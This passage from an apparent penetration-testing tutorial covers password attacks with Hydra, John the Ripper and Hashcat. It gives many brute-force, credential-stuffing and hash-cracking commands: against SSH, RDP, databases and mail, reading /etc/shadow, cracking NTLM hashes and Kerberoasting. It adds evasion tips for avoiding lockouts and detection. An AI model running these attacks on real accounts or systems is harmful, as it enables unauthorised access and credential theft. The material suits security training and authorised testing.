WARNING: RDP often has account lockout policies! Use -t 1 or -t 2 (very slow) and -u flag (loop users). Consider using domain password policies to time attacks (e.g., lockout resets after 30 minutes).

VNC Brute-Forcing
# VNC attack (VNC uses password-only auth, no username):
hydra -P passwords.txt vnc://10.10.10.5

# Custom port:
hydra -P passwords.txt -s 5901 vnc://target.com

VNC Note: VNC doesn't use usernames, only passwords! Use -P flag without -l / -L.

Database Brute-Forcing
# MySQL:
hydra -l root -P passwords.txt mysql://10.10.10.5

# PostgreSQL:
hydra -l postgres -P passwords.txt postgresql://10.10.10.5

# MSSQL (Microsoft SQL Server):
hydra -l sa -P passwords.txt mssql://10.10.10.5

# MongoDB (no auth by default, but can be configured):
hydra -l admin -P passwords.txt mongodb://10.10.10.5

# Oracle:
hydra -l system -P passwords.txt oracle-listener://10.10.10.5

Common DB Users: MySQL: root, admin, dbuser | PostgreSQL: postgres, admin | MSSQL: sa (system admin), Administrator | MongoDB: admin, root

Email Protocol Brute-Forcing
# SMTP (port 25, 587, 465):
hydra -l user@example.com -P passwords.txt smtp://mail.example.com
hydra -l user@example.com -P passwords.txt -s 587 smtp://mail.example.com
hydra -l user@example.com -P passwords.txt -S smtps://mail.example.com  # SSL

# POP3 (port 110, 995):
hydra -l user@example.com -P passwords.txt pop3://mail.example.com
hydra -l user@example.com -P passwords.txt -S pop3s://mail.example.com  # SSL

# IMAP (port 143, 993):
hydra -l user@example.com -P passwords.txt imap://mail.example.com
hydra -l user@example.com -P passwords.txt -S imaps://mail.example.com  # SSL

Email Attack Strategy: Enumerate valid email addresses first (use theHarvester, Hunter.io), then brute-force with targeted wordlists (company name variations, seasons+year, etc.)

LDAP Brute-Forcing
# LDAP (Active Directory):
hydra -l CN=admin,DC=example,DC=com -P passwords.txt ldap://10.10.10.5

# LDAPS (SSL):
hydra -l admin@example.com -P passwords.txt -S ldaps://dc.example.com
Other Supported Protocols
# Telnet:
hydra -l admin -P passwords.txt telnet://10.10.10.5

# Cisco devices (enable password):
hydra -P passwords.txt cisco://10.10.10.5
hydra -P passwords.txt cisco-enable://10.10.10.5

# SNMP community strings:
hydra -P community_strings.txt snmp://10.10.10.5

# Redis:
hydra -P passwords.txt redis://10.10.10.5

# Rlogin:
hydra -l root -P passwords.txt rlogin://10.10.10.5

# Rsh:
hydra -l root -P passwords.txt rsh://10.10.10.5

# CVS:
hydra -l admin -P passwords.txt cvs://10.10.10.5

# Subversion (SVN):
hydra -l admin -P passwords.txt svn://10.10.10.5

# IRC:
hydra -l nickname -P passwords.txt irc://irc.server.com

# SOCKS5 proxy:
hydra -l user -P passwords.txt socks5://10.10.10.5
Advanced Techniques
# Restore interrupted session:
# Hydra saves progress automatically
hydra -R  # Resume last session

# Ignore restore file (start fresh):
hydra -I -l admin -P passwords.txt ssh://10.10.10.5

# Multiple targets:
# Create targets.txt (one IP/hostname per line)
hydra -l admin -P passwords.txt -M targets.txt ssh

# Colon-separated credentials (credential stuffing):
# Create creds.txt with format: username:password
hydra -C leaked_credentials.txt ssh://10.10.10.5

# Custom timing (slow, stealthy):
hydra -l admin -P passwords.txt -t 1 -w 30 ssh://10.10.10.5
# -t 1 = one connection at a time
# -w 30 = 30 second timeout

# JSON output:
hydra -l admin -P passwords.txt -b jsonv1 -o results.json ssh://10.10.10.5

# Proxy through another host:
hydra -l admin -P passwords.txt ssh://10.10.10.5 -m PROXY:proxy.example.com:8080
Wordlist Strategies
# Common wordlist locations (Kali Linux):
/usr/share/wordlists/rockyou.txt                # 14 million passwords
/usr/share/wordlists/dirb/common.txt            # Common passwords
/usr/share/seclists/Passwords/Common-Credentials/  # Curated lists
/usr/share/seclists/Passwords/darkweb2017-top10000.txt

# Extract rockyou.txt (if compressed):
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Create custom wordlist (CeWL - website spider):
cewl https://target-company.com -d 2 -m 5 -w custom_wordlist.txt
# -d 2 = depth 2
# -m 5 = minimum word length 5

# Generate password variations (John the Ripper rules):
john --wordlist=words.txt --rules --stdout > expanded_wordlist.txt

# Create targeted wordlist:
# Company name variations, seasons+year, common patterns
echo -e "Company123\nCompany2024\nWinter2024\nSummer2024\nPassword123" > custom.txt
Hydra GUI (hydra-gtk)
# Launch GUI version:
hydra-gtk

# GUI provides:
# - Point-and-click interface
# - Protocol selection dropdown
# - Username/password file selection
# - Visual progress monitoring
# - Easy option configuration

When to Use GUI: Great for beginners learning Hydra syntax, quick one-off attacks, visual progress monitoring. CLI is better for scripting and advanced usage!

🎯 Hydra Mastery Summary:

Essential Commands by Protocol:
• SSH: hydra -L users.txt -P passwords.txt -u ssh://10.10.10.5
• FTP: hydra -l admin -P rockyou.txt ftp://target.com
• HTTP POST: hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
• HTTP Basic Auth: hydra -l admin -P passwords.txt http-get://target.com/admin
• SMB: hydra -L users.txt -P passwords.txt smb://10.10.10.5
• RDP: hydra -l administrator -P passwords.txt -t 2 rdp://10.10.10.5
• MySQL: hydra -l root -P passwords.txt mysql://10.10.10.5
• SMTP: hydra -l user@example.com -P passwords.txt smtp://mail.example.com

Critical Flags to Remember:
• -l / -L: Single username / username list
• -p / -P: Single password / password list
• -t: Parallel connections (higher = faster, but noisier!)
• -u: Loop users first (PREVENTS account lockouts!)
• -f: Stop after first success
• -v: Verbose (monitor progress)
• -e nsr: Try null, same-as-username, reverse patterns
• -o: Output results to file
• -S: Use SSL/TLS
• -R: Resume interrupted session

Attack Strategies:
1. Reconnaissance First: Enumerate valid usernames (enum4linux, OSINT) before attacking
2. Start Small: Test with top 100 passwords before using rockyou.txt (14M passwords!)
3. Avoid Lockouts: ALWAYS use -u flag and low -t values (2-4) for authentication services
4. Custom Wordlists: Create targeted lists (company name, seasons, years) for better success rates
5. Timing Matters: Attack during business hours (less suspicious) or after hours (less monitoring)
6. Save Progress: Hydra auto-saves, use -R to resume if interrupted

Real-World Workflow:
1. Enumerate services: nmap -sV -p- target.com (find SSH/FTP/RDP/etc.)
2. Enumerate users: enum4linux, OSINT, email harvesting, SMB enumeration
3. Test default creds: admin:admin, root:root, admin:password
4. Try common patterns: hydra -L users.txt -e nsr ssh://target
5. Targeted wordlist: Company name variations, seasons+year (CompanyName2024, Winter2024)
6. Escalate to rockyou: Only if targeted attacks fail
7. Monitor & adjust: Check for lockouts, adjust -t and -w values

Pro Tips:
• FTP: Always try anonymous:anonymous first
• SSH: Use -t 4 -u (4 connections, loop users) to avoid triggering fail2ban
• RDP: EXTREME caution - use -t 1 -u (lockout policies are common!)
• HTTP forms: Capture POST request in Burp, copy params, replace values with ^USER^ ^PASS^
• SMB: Combine with CrackMapExec for better password spraying
• Databases: Common users: MySQL=root, PostgreSQL=postgres, MSSQL=sa

Legal & Ethical: ONLY use Hydra on systems you own or have explicit written permission to test. Unauthorized brute-forcing is illegal and can cause service disruptions (DoS), account lockouts, and generate massive logs. Always get permission FIRST! 🔐

John the Ripper (THE CPU Password Cracking Tool)

What is John the Ripper? John the Ripper (JtR) is a CPU-based password cracker that supports 400+ hash formats including MD5, SHA, NTLM, LM, bcrypt, Kerberos, WPA/WPA2, ZIP/RAR archives, PDF passwords, SSH keys, and more. It's been around since 1996 and is the gold standard for offline password cracking. Think of it as the "Swiss Army knife" of hash cracking!

Why John? It's fast, supports TONS of formats, has intelligent cracking modes (single, wordlist, incremental), can use custom rules to generate password variations, and has conversion tools (zip2john, ssh2john, etc.) to extract hashes from files!

Installation & Basic Usage
# John is pre-installed on Kali Linux
john --help

# Or install on other systems:
sudo apt install john        # Debian/Ubuntu
brew install john           # macOS

# Basic syntax:
john [options] hashfile
Essential John Flags
# Cracking modes:
--single                  # Single crack mode (fast, uses username variations)
--wordlist=FILE           # Wordlist mode (dictionary attack)
--incremental             # Incremental mode (brute-force)
--external=MODE           # External mode (custom algorithms)
--markov                  # Markov mode (statistical patterns)

# Hash format:
--format=FORMAT           # Specify hash type (md5, sha256, ntlm, bcrypt, etc.)
--list=formats            # Show all supported formats (400+!)
--list=format-details    # Show detailed format info

# Wordlist enhancements:
--rules                   # Apply transformation rules
--rules=RULENAME          # Use specific rule set

# Session management:
--session=NAME            # Name session (for saving progress)
--restore=NAME            # Restore saved session
--status=NAME             # Show session status

# Output options:
--show                    # Show cracked passwords
--pot=FILE                # Custom potfile location (cracked passwords)
--stdout                  # Output candidate passwords to stdout (for piping)

# Performance:
--fork=N                  # Parallel processing (N = number of cores)
--node=MIN-MAX/TOTAL     # Distributed cracking

# Encoding:
--encoding=TYPE           # Character encoding (utf-8, cp1252, etc.)

Flag Explanations:

Cracking Linux Passwords (Unshadow)
# Linux stores passwords in /etc/shadow (root only)
# User info is in /etc/passwd
# John needs BOTH files combined:

# Combine passwd + shadow files:
unshadow /etc/passwd /etc/shadow > hashes.txt

# Crack with single mode (fast):
john --single hashes.txt

# Crack with wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Crack with rules (wordlist + transformations):
john --wordlist=rockyou.txt --rules hashes.txt

# Show cracked passwords:
john --show hashes.txt

# Incremental mode (brute-force):
john --incremental hashes.txt

Real-World Use: During pentests, if you get root access, grab /etc/passwd and /etc/shadow, combine with unshadow, crack offline. Common in CTFs!

Cracking Windows Passwords (NTLM)
# Windows passwords stored as NTLM hashes
# Extract with secretsdump.py (Impacket) or mimikatz

# NTLM hash format: username:RID:LM:NTLM:::
# Example: Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Crack NTLM hashes:
john --format=nt ntlm_hashes.txt

# With wordlist + rules:
john --format=nt --wordlist=rockyou.txt --rules ntlm_hashes.txt

# Show cracked:
john --format=nt --show ntlm_hashes.txt

# LM hashes (older Windows, very weak):
john --format=lm lm_hashes.txt

NTLM vs LM: LM hashes are VERY weak (max 14 chars, uppercase only, split into 7-char chunks). NTLM is stronger but still vulnerable to brute-force and rainbow tables. Always crack LM first (seconds), then NTLM!

List All Supported Formats
# Show ALL formats (400+):
john --list=formats

# Common formats:
md5crypt        # Linux /etc/shadow MD5
sha512crypt     # Linux /etc/shadow SHA-512
bcrypt          # Linux /etc/shadow bcrypt
nt              # Windows NTLM
lm              # Windows LM (old)
mscash2         # Windows cached credentials
krb5tgs         # Kerberos TGS (Kerberoasting)
krb5asrep       # Kerberos AS-REP
raw-md5         # Raw MD5 hash
raw-sha1        # Raw SHA1
raw-sha256      # Raw SHA-256
zip             # ZIP file passwords
rar             # RAR archive passwords
office          # MS Office documents
pdf             # PDF passwords
ssh             # SSH private keys
mysql-sha1      # MySQL passwords
postgres        # PostgreSQL passwords
mssql           # MSSQL passwords

# Search for specific format:
john --list=formats | grep -i ntlm
john --list=formats | grep -i kerberos
Converting File Formats (xxx2john)
# John includes conversion tools to extract hashes from files:

# ZIP file passwords:
zip2john encrypted.zip > zip_hash.txt
john --wordlist=rockyou.txt zip_hash.txt

# RAR archive passwords:
rar2john encrypted.rar > rar_hash.txt
john rar_hash.txt

# SSH private key passphrases:
ssh2john id_rsa > ssh_hash.txt
john --wordlist=rockyou.txt ssh_hash.txt

# PDF passwords:
pdf2john encrypted.pdf > pdf_hash.txt
john pdf_hash.txt

# MS Office documents (Word, Excel, PowerPoint):
office2john document.docx > office_hash.txt
john office_hash.txt

# 7-Zip archives:
7z2john encrypted.7z > 7z_hash.txt
john 7z_hash.txt

# Encrypted Keepass databases:
keepass2john database.kdbx > keepass_hash.txt
john keepass_hash.txt

# TrueCrypt/VeraCrypt volumes:
truecrypt2john encrypted_volume > tc_hash.txt
john tc_hash.txt

# BitLocker encrypted drives:
bitlocker2john /dev/sdb1 > bitlocker_hash.txt
john bitlocker_hash.txt

# Mozilla Firefox/Thunderbird master passwords:
mozilla2john signons.sqlite > mozilla_hash.txt
john mozilla_hash.txt

# WPA/WPA2 WiFi handshakes:
# First capture handshake with aircrack-ng
wpa2john capture.pcap > wpa_hash.txt
john --wordlist=rockyou.txt wpa_hash.txt

How it Works: xxx2john tools extract password hashes from encrypted files and convert them into John's format. Then John cracks the hash just like any other password!

Cracking Kerberos Tickets (Kerberoasting)
# Kerberoasting attack (Active Directory):
# 1. Request Kerberos service tickets (with GetUserSPNs.py)
# 2. Extract and crack tickets offline

# Kerberos TGS tickets (Kerberoasting):
john --format=krb5tgs --wordlist=rockyou.txt kerberos_tickets.txt

# Kerberos AS-REP (AS-REP Roasting):
john --format=krb5asrep --wordlist=rockyou.txt asrep_hashes.txt

# With rules for faster cracking:
john --format=krb5tgs --wordlist=rockyou.txt --rules kerberos_tickets.txt

Real-World Use: After Kerberoasting (GetUserSPNs.py), you get encrypted service tickets. Crack offline with John, then use credentials to access services or escalate privileges!

Rule-Based Attacks
# Rules transform wordlist passwords (multiply effectiveness)
# Example: "password" becomes: Password, password123, p@ssword, PASSWORD, etc.

# Use default rules:
john --wordlist=rockyou.txt --rules hashes.txt

# Use specific rule set:
john --wordlist=rockyou.txt --rules=Jumbo hashes.txt

# List available rules:
john --list=rules

# Common rule sets:
--rules=Single      # Single mode rules (username variations)
--rules=Wordlist    # Basic wordlist transformations
--rules=Jumbo       # Comprehensive ruleset (JtR Jumbo)
--rules=KoreLogic  # KoreLogic rules (very powerful)

# Custom rules (in john.conf):
# Rules syntax examples:
# c = Capitalize first letter (password → Password)
# u = Uppercase all (password → PASSWORD)
# l = Lowercase all (PASSWORD → password)
# $1 = Append "1" (password → password1)
# ^1 = Prepend "1" (password → 1password)
# sa@ = Replace "a" with "@" (password → p@ssword)
# [...]

# Generate candidates to stdout (preview rules):
john --wordlist=words.txt --rules --stdout | head -20

Rule Power: Rules dramatically increase wordlist effectiveness. A 1000-word list with rules becomes 100,000+ candidates! Essential for cracking complex passwords!

Incremental Mode (Brute-Force)
# Incremental mode = pure brute-force
# Tries all character combinations in order

# Default incremental (lowercase + digits):
john --incremental hashes.txt

# All printable ASCII characters:
john --incremental=ASCII hashes.txt

# Alphanumeric only:
john --incremental=Alnum hashes.txt

# Digits only (PIN codes):
john --incremental=Digits hashes.txt

# Custom character set (in john.conf):
john --incremental=Custom hashes.txt

# Limit length (faster):
# Edit john.conf: MinLen = 1, MaxLen = 8
john --incremental hashes.txt

Performance Warning: Incremental mode is SLOW for long passwords! 8 chars = hours, 10 chars = days/weeks, 12+ chars = months/years. Only use for short passwords or as last resort!

Session Management
# Save progress automatically:
john --session=mysession --wordlist=rockyou.txt hashes.txt

# Interrupt with Ctrl+C (John saves progress)

# Restore saved session:
john --restore=mysession

# Check session status:
john --status=mysession

# Default session name is "john" if not specified
john --restore  # Restores default session

Why Sessions? Cracking can take hours/days. Sessions let you pause, resume, check progress without losing work!

Parallel Processing
# Use multiple CPU cores:
john --fork=4 --wordlist=rockyou.txt hashes.txt
# --fork=4 uses 4 cores

# Check number of cores:
nproc  # Linux
sysctl -n hw.ncpu  # macOS

# Distributed cracking (multiple machines):
# Machine 1 (1st quarter):
john --node=1-4/16 --wordlist=rockyou.txt hashes.txt

# Machine 2 (2nd quarter):
john --node=5-8/16 --wordlist=rockyou.txt hashes.txt

# Machine 3 (3rd quarter):
john --node=9-12/16 --wordlist=rockyou.txt hashes.txt

# Machine 4 (4th quarter):
john --node=13-16/16 --wordlist=rockyou.txt hashes.txt

Distributed Cracking: Split work across multiple machines for MASSIVE speedup! Each machine cracks different portion of keyspace!

Show Cracked Passwords
# Show cracked passwords:
john --show hashes.txt

# Show with specific format:
john --format=nt --show ntlm_hashes.txt

# Show only usernames:
john --show --users=0 hashes.txt

# Show with left uncracked:
john --show=left hashes.txt

# Potfile location (cracked passwords stored here):
~/.john/john.pot  # Linux/Mac
%USERPROFILE%\.john\john.pot  # Windows

🎯 John the Ripper Mastery Summary:

Essential Commands:
• Linux passwords: unshadow /etc/passwd /etc/shadow > hashes.txt → john --wordlist=rockyou.txt --rules hashes.txt
• Windows NTLM: john --format=nt --wordlist=rockyou.txt ntlm.txt
• ZIP files: zip2john file.zip > hash.txt → john hash.txt
• SSH keys: ssh2john id_rsa > hash.txt → john --wordlist=rockyou.txt hash.txt
• Kerberoasting: john --format=krb5tgs --wordlist=rockyou.txt tickets.txt
• Show cracked: john --show hashes.txt

Cracking Strategy (Try in Order):
1. Single mode: john --single hashes.txt (fastest, uses usernames)
2. Wordlist: john --wordlist=rockyou.txt hashes.txt
3. Wordlist + Rules: john --wordlist=rockyou.txt --rules hashes.txt (10-100x more candidates)
4. Incremental (brute-force): john --incremental hashes.txt (last resort, SLOW!)

Critical Flags:
• --format=FORMAT: Specify hash type (nt, md5crypt, bcrypt, krb5tgs, etc.)
• --wordlist=FILE: Dictionary attack with password list
• --rules: Apply transformation rules (HUGE performance boost!)
• --fork=N: Use N CPU cores (4-8 cores = 4-8x faster)
• --session=NAME: Save progress, resume with --restore=NAME
• --show: Display cracked passwords

Real-World Workflows:
• Linux compromise: Dump /etc/passwd + /etc/shadow → unshadow → crack with John → su to cracked users
• Windows compromise: secretsdump.py → Extract NTLM → John cracking → Pass-the-Hash or legitimate login
• Encrypted files: Find .zip/.rar/.7z → xxx2john → Crack → Extract sensitive data
• SSH pivoting: Find id_rsa keys → ssh2john → Crack passphrase → SSH to other systems
• Kerberoasting: GetUserSPNs.py → Dump tickets → John cracking → Service account compromise

Performance Tips:
• Always try --single first (seconds-minutes)
• Use --rules with wordlists (10-100x more effective)
• Use --fork=N for multi-core (linear speedup)
• Start with small wordlists (top 1000), escalate to rockyou.txt
• Save sessions (--session) for long cracks
• Incremental mode = LAST RESORT (days/weeks for 10+ char passwords)

Common Hash Formats:
Linux: md5crypt, sha512crypt, bcrypt | Windows: nt, lm, mscash2 | Kerberos: krb5tgs, krb5asrep | Raw: raw-md5, raw-sha1, raw-sha256 | Files: zip, rar, office, pdf, ssh 🔐

Hashcat (THE GPU Password Cracking Tool)

What is Hashcat? Hashcat is the world's fastest password cracker using GPU acceleration. It can leverage your graphics card (NVIDIA, AMD, Intel) to crack passwords 100-1000x faster than CPU-based tools! Supports 400+ hash algorithms including MD5, SHA, NTLM, bcrypt, WPA/WPA2, Kerberos, database hashes, and more. If John the Ripper is a bicycle, Hashcat is a Ferrari! 🏎️

Why Hashcat? GPU parallelism = MASSIVE speed. A single high-end GPU can try billions of passwords per second for fast hashes (MD5, NTLM). Essential for cracking large password dumps, WPA handshakes, and modern hashes!

Installation & GPU Setup
# Hashcat is pre-installed on Kali Linux
hashcat --help

# Or install on other systems:
sudo apt install hashcat    # Debian/Ubuntu
brew install hashcat       # macOS

# Check GPU availability:
hashcat -I
# Shows: NVIDIA, AMD, or Intel GPUs

# Benchmark your GPU:
hashcat -b
# Shows hash/s for each algorithm

GPU Requirements: NVIDIA (CUDA), AMD (OpenCL), or Intel (OpenCL). Modern GPUs = faster. RTX 3090 can do 100+ GH/s for NTLM!

Hash Modes (-m flag)
# Hashcat uses -m flag to specify hash type
# There are 400+ hash modes!

# Common hash modes:
-m 0       # MD5
-m 100     # SHA1
-m 1000    # NTLM (Windows passwords)
-m 1800    # Linux SHA-512 (/etc/shadow)
-m 3000    # LM (old Windows)
-m 3200    # bcrypt (Linux /etc/shadow)
-m 5600    # NetNTLMv2
-m 13100   # Kerberos TGS (Kerberoasting)
-m 18200   # Kerberos AS-REP
-m 22000   # WPA/WPA2 PMKID
-m 2500    # WPA/WPA2 (old format)
-m 11600   # 7-Zip
-m 13600   # WinZip
-m 10400   # PDF 1.1-1.3
-m 10500   # PDF 1.4-1.6
-m 9400    # MS Office 2007
-m 9500    # MS Office 2010
-m 9600    # MS Office 2013
-m 200     # MySQL 4.1/5.x
-m 12      # PostgreSQL
-m 131     # MSSQL (2000)
-m 132     # MSSQL (2005/2008/2012/2014/2016)

# List all hash modes:
hashcat --help | grep -i "Hash modes"

# Example hash format detection:
hashcat --identify hash.txt  # Auto-detect hash type (if possible)
Attack Modes (-a flag)
# Attack modes define how passwords are generated:

-a 0  # Straight (wordlist attack)
-a 1  # Combination (combine two wordlists)
-a 3  # Brute-force (mask attack)
-a 6  # Hybrid Wordlist + Mask
-a 7  # Hybrid Mask + Wordlist

Attack Mode Explanations:

Straight Attack (Wordlist)
# Basic wordlist attack:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 0 = MD5 hashes
# -a 0 = Straight attack
# hashes.txt = file with hashes (one per line)
# rockyou.txt = password wordlist

# NTLM (Windows) hashes:
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt

# Linux SHA-512 hashes:
hashcat -m 1800 -a 0 shadow_hashes.txt rockyou.txt

# With rules (multiply wordlist effectiveness):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Multiple rule files (combined):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r leetspeak.rule

Hash File Format: One hash per line (plain MD5/SHA/NTLM), or username:hash format for Linux shadow hashes

Mask Attack (Brute-Force)
# Mask attack tries all combinations matching pattern
# Mask characters:
# ?l = lowercase (a-z)
# ?u = uppercase (A-Z)
# ?d = digit (0-9)
# ?h = hex (0-9a-f)
# ?H = hex uppercase (0-9A-F)
# ?s = special chars (!@#$%^&*...)
# ?a = all characters (?l?u?d?s)
# ?b = all 0x00-0xff bytes

# 8-char lowercase:
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# 6-digit PIN:
hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d

# Password followed by 2 digits (password01, password02, etc.):
hashcat -m 0 -a 3 hashes.txt password?d?d

# 8-char alphanumeric (lowercase + digits):
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?d?d?d?d

# Complex: Uppercase + 6 lowercase + 2 digits:
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d

# Custom charset (only certain characters):
hashcat -m 0 -a 3 hashes.txt -1 ?l?d ?1?1?1?1?1?1?1?1
# -1 defines custom charset (?1 = lowercase + digits)

# Increment mode (try all lengths from 1 to N):
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=8

Performance Warning: Mask attacks are EXPONENTIALLY slow! ?l?l?l?l?l?l?l?l (8 lowercase) = 26^8 = 208 billion attempts. Only feasible for fast hashes (MD5, NTLM) or short passwords!

Combination Attack
# Combine words from two wordlists:
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Example combinations:
# wordlist1.txt: super, mega, ultra
# wordlist2.txt: admin, user, password
# Results: superadmin, superuser, superpassword, megaadmin, etc.

# Useful for multi-word passwords like "dragonballz", "passwordadmin"
Hybrid Attacks
# Hybrid Wordlist + Mask (-a 6):
# Append mask to wordlist words
hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d
# Tries: password00, password01, ..., password99, admin00, admin01, etc.

hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d
# Append 4 digits (password2024, admin2024, etc.)

# Hybrid Mask + Wordlist (-a 7):
# Prepend mask to wordlist words
hashcat -m 0 -a 7 hashes.txt ?d?d wordlist.txt
# Tries: 00password, 01password, 99password, 00admin, etc.

Real-World Use: Passwords often follow patterns like "word+numbers" (password123, admin2024). Hybrid attacks target these patterns efficiently!

Rule-Based Attacks
# Rules transform wordlist passwords (same as John the Ripper)
# Hashcat includes powerful rule files:

# Best64 (most effective 64 rules):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Common rule files (in /usr/share/hashcat/rules/):
best64.rule            # Top 64 rules (RECOMMENDED for most attacks)
rockyou-30000.rule    # 30,000 rules from RockYou breach analysis
dive.rule              # 2,152,768 rules (VERY comprehensive)
d3ad0ne.rule           # 34,555 rules
T0XlC.rule             # 14,885 rules
leetspeak.rule         # Leet speak transformations (a→@, e→3, etc.)
toggles1.rule          # Toggle case variations

# Multiple rules (combined):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r leetspeak.rule

# Generate rules to stdout (preview):
hashcat -a 0 --stdout wordlist.txt -r best64.rule | head -20
Performance Options
# Workload profiles (-w flag):
-w 1  # Low (minimal GPU usage, desktop usable)
-w 2  # Default (balanced)
-w 3  # High (heavy GPU usage, desktop may lag)
-w 4  # Nightmare (maximum performance, desktop unusable)

# Example:
hashcat -m 1000 -a 0 -w 3 hashes.txt rockyou.txt

# Optimized kernels (-O flag):
hashcat -m 1000 -a 0 -O hashes.txt rockyou.txt
# Faster but limits password length (usually 32 chars max)

# Device selection (-d flag):
hashcat -d 1 -m 1000 -a 0 hashes.txt rockyou.txt  # Use GPU 1 only
hashcat -d 1,2 -m 1000 -a 0 hashes.txt rockyou.txt  # Use GPU 1 and 2

# Show devices:
hashcat -I  # List available devices
Output & Session Management
# Save cracked passwords:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt

# Output format (--outfile-format):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt --outfile-format=2
# Formats: 1=hash, 2=plain, 3=hash:plain, 4=hex, 5=plain:hex, etc.

# Session management (save progress):
hashcat -m 1000 -a 0 --session=mysession hashes.txt rockyou.txt

# Pause session (Ctrl+C or 'p' key)

# Resume session:
hashcat --session=mysession --restore

# Remove session files:
hashcat --session=mysession --remove
Show Cracked Passwords
# Show cracked hashes (from potfile):
hashcat -m 1000 --show hashes.txt

# Potfile location:
~/.hashcat/hashcat.potfile  # Linux/Mac
%APPDATA%\hashcat\hashcat.potfile  # Windows

# Show only left (uncracked):
hashcat -m 1000 --show --left hashes.txt

# Custom potfile:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --potfile-path=custom.pot
Real-World Examples
# NTLM hashes (Windows) with rules:
hashcat -m 1000 -a 0 -w 3 ntlm.txt rockyou.txt -r best64.rule -O

# WPA/WPA2 handshake (PMKID attack):
# First convert with hcxpcapngtool:
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 -a 0 hash.hc22000 rockyou.txt

# Kerberoasting (Kerberos TGS):
hashcat -m 13100 -a 0 kerberos_tickets.txt rockyou.txt -r best64.rule

# AS-REP Roasting:
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt

# ZIP file password:
# First extract hash with zip2john (or use 7z2hashcat)
hashcat -m 11600 -a 0 zip_hash.txt rockyou.txt

# PDF password:
hashcat -m 10500 -a 0 pdf_hash.txt rockyou.txt

# MS Office document:
hashcat -m 9600 -a 0 office_hash.txt rockyou.txt  # Office 2013

# NetNTLMv2 (captured with Responder):
hashcat -m 5600 -a 0 netntlmv2.txt rockyou.txt

# bcrypt (Linux /etc/shadow):
hashcat -m 3200 -a 0 -w 3 bcrypt_hashes.txt rockyou.txt
# WARNING: bcrypt is VERY slow even on GPU!
Benchmark Your GPU
# Full benchmark (all algorithms):
hashcat -b

# Benchmark specific hash mode:
hashcat -b -m 1000  # NTLM benchmark
hashcat -b -m 0     # MD5 benchmark
hashcat -b -m 22000  # WPA2 benchmark

# Example output (RTX 3090):
# MD5: 100 GH/s (100 billion hashes/second!)
# NTLM: 160 GH/s
# bcrypt: 150 kH/s (slow!)
# WPA2: 1.5 MH/s
Hashcat Utils (Companion Tools)
# Combinator (combine two wordlists):
combinator.bin wordlist1.txt wordlist2.txt > combined.txt

# Maskprocessor (generate candidates from mask):
mp64.bin ?l?l?l?l?l?l > 6char_lowercase.txt

# Princeprocessor (PRINCE algorithm - advanced wordlist generation):
pp64.bin < wordlist.txt > prince_candidates.txt

# Kwprocessor (keyboard walk generator - qwerty123, etc.):
kwp64.bin basechars/full.base keymaps/en-us.keymap routes/2-to-10-max-3-direction-changes.route

# Statsprocessor (Markov chains for password generation):
sp64.bin --markov-hcstat2 hashcat.hcstat2 ?l?l?l?l?l?l?l?l

🚀 Hashcat Mastery Summary:

Essential Commands:
• NTLM (Windows): hashcat -m 1000 -a 0 -w 3 ntlm.txt rockyou.txt -r best64.rule -O
• Linux SHA-512: hashcat -m 1800 -a 0 shadow.txt rockyou.txt -r best64.rule
• WPA2 handshake: hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt
• Kerberoasting: hashcat -m 13100 -a 0 tickets.txt rockyou.txt -r best64.rule
• Mask (8-char lowercase): hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l
• Hybrid (word+2 digits): hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d
• Show cracked: hashcat -m 1000 --show ntlm.txt
• Benchmark GPU: hashcat -b

Critical Flags:
• -m MODE: Hash type (0=MD5, 1000=NTLM, 1800=SHA512, 22000=WPA2, 13100=Kerberos TGS)
• -a MODE: Attack (0=Straight, 1=Combination, 3=Mask, 6=Hybrid wordlist+mask, 7=Hybrid mask+wordlist)
• -w 3: High workload (max GPU usage)
• -O: Optimized kernels (MUCH faster, limits password length to 32 chars)
• -r RULE: Apply rule file (best64.rule recommended)
• -o FILE: Output cracked passwords
• --session / --restore: Save/resume progress
• --show: Display already cracked passwords

Attack Strategy:
1. Wordlist + Rules: -a 0 rockyou.txt -r best64.rule (most effective!)
2. Hybrid attacks: -a 6 wordlist.txt ?d?d (append 2 digits)
3. Mask attack: -a 3 ?l?l?l?l?d?d?d?d (for short, known patterns)
4. Combination: -a 1 list1.txt list2.txt (for multi-word passwords)

Performance Optimization:
• Use -w 3 or -w 4 for maximum GPU utilization
• Add -O flag for optimized kernels (2-4x faster!)
• Use best64.rule (not dive.rule) for balance of speed vs coverage
• Check GPU utilization: nvidia-smi (should be 95-100%)
• Fast hashes (MD5, NTLM): billions/sec. Slow hashes (bcrypt, WPA2): thousands/sec

Hash Speeds (RTX 3090):
